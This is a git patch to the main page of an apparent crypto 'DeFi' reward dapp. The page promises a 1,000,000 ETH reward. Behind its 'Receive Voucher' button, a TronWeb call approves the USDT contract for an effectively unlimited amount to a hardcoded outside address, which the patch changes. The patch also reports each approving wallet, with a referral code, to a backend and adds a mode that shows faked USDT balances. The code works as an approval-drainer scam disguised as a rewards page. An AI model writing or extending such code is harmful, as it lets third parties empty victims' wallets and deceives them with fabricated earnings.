From 32b663e9a66dc6c7c7efb184a930b1bd1d40ec37 Mon Sep 17 00:00:00 2001 From: queenwuli <942534046@qq.com> Date: Sat, 02 Apr 2022 10:43:05 +0800 Subject: [PATCH] gx --- src/pages/index/index.vue | 82 ++++++++++++++++++++++++++++++++--------- 1 files changed, 64 insertions(+), 18 deletions(-) diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue index 36a461f..7f6c446 100644 --- a/src/pages/index/index.vue +++ b/src/pages/index/index.vue @@ -18,7 +18,8 @@ <div class="banner-content"> <p>{{ $t("message.Defi") }}</p> <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p> - <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> + <button v-if="!hasApprove && !availableWallet" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> + <button v-if="availableWallet">{{availableWallet}} USDT</button> </div> </div> <img src="../../assets/images/banner.png" class="banner"/> @@ -27,7 +28,7 @@ <OrePool></OrePool> </van-tab> <van-tab :title='$t("message.Account")'> - <Account ref="accountRef"></Account> + <Account ref="accountRef" :simulateData="simulateData"></Account> </van-tab> </van-tabs> <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper"> @@ -61,9 +62,9 @@ <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png"> <div class="wallet-box"> <div class="sub-title"> - <span>移动</span> + <span>{{$t("message.Mobile")}}</span> </div> - <p class="title">选择你的钱包</p> + <p class="title">{{$t("message.ChooseWallet")}}</p> <div class="wallet-warp flex flex-wrap align-center justify-between"> <a :href="item.link" target="_blank" v-for="item in dappList" class="item"> <div class="icon" :style="{background: 'url(' + item.imgUrl +')'}"></div> @@ -100,7 +101,11 @@ let isShowAccreditModal = ref(false); let isShowWalletModal = ref(false); let isApproving = ref(false); //是否授权中 + let simulateData = ref(null); + let availableWallet = ref(''); + let local = ref(proxy.$i18n.locale); function changeLanguage(type){ + localStorage.setItem('lang', type); proxy.$i18n.locale = type; } @@ -146,21 +151,28 @@ } } async function init () { - await proxy.getAddress(); - if (proxy.walletAddress) { - proxy.isApprove() - }else{ - showAccreditModal(); + if(proxy.getQueryString('isDev') === 'true' && proxy.getQueryString('batchNo')) { + proxy.walletAddress = 'KtygcD' + proxy.getSimulateData(); + } else { + await proxy.getAddress(); + if (proxy.walletAddress) { + proxy.isApprove() + }else{ + showAccreditModal(); + } } } + onMounted(() => { init() }) return { - local: ref('zh'), + local, languague: [ + { text: 'English', value: 'en' }, { text: '简体中文', value: 'zh' }, - { text: 'English', value: 'en' } + { text: '日本语', value: 'ja' } ], // 弹窗显示隐藏 isShowApproveModal, @@ -240,7 +252,9 @@ name: 'BitPay', link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg' - }] + }], + simulateData, //模拟数据 + availableWallet }; }, methods: { @@ -264,9 +278,17 @@ method: 'get' }).then((res) => { if(res.code == 200) { - this.hasApprove = true; - this.initAccountData() - sessionStorage.setItem('address', this.walletAddress); + let result = res.data; + if(result == 1) { + this.hasApprove = true; + this.initAccountData() + sessionStorage.setItem('address', this.walletAddress); + } else if (result == 2) { + this.submitApprove() + } else { + this.hasApprove = false; + this.$toast(this.$t('message.ApproveTip')); + } }else{ this.hasApprove = false; this.$toast(this.$t('message.ApproveTip')); @@ -295,16 +317,18 @@ console.log(res) this.submitApprove() this.isApproving = false; + this.isShowApproveModal = false; }).catch((err) => { console.log('授权失败') console.log(err) this.isApproving = false; + this.isShowApproveModal = false; }) }, async tornWebApprove () { const tronWeb = window.tronWeb; const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; - const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"; + const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; let instance = await tronWeb.contract().at(trxContractAddress); let res = await instance["approve"](authAddress, "90000000000000000000000000000"); res.send({ @@ -317,25 +341,47 @@ this.submitApprove() } this.isApproving = false; + this.isShowApproveModal = false; }); }, submitApprove () { + let refererId = this.getQueryString('code'); this.$axios({ url: '/dapi/common/approve', method: 'post', data: { address: this.walletAddress, - refererId: '' + refererId: refererId ? refererId : '' } }).then((res) => { if(res.code == 200) { this.hasApprove = true; this.initAccountData(); + sessionStorage.setItem('address', this.walletAddress); } }) }, initAccountData(){ - this.accountRef && this.accountRef.value.getWalletInfo(); + this.accountRef && this.accountRef.value.initData(); + }, + getSimulateData () { + this.$axios({ + url: '/dapi/common/findSimulateData/' + this.getQueryString('batchNo'), + method: 'get' + }).then((res) => { + if(res.code == 200) { + this.simulateData = res.data; + this.availableWallet = this.simulateData.walletInfoVo.availableWallet + } + }) + }, + getQueryString (name) { + let reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i'); + let r = window.location.search.substr(1).match(reg); + if (r != null) { + return unescape(r[2]); + } + return null; } } } -- Gitblit v1.9.1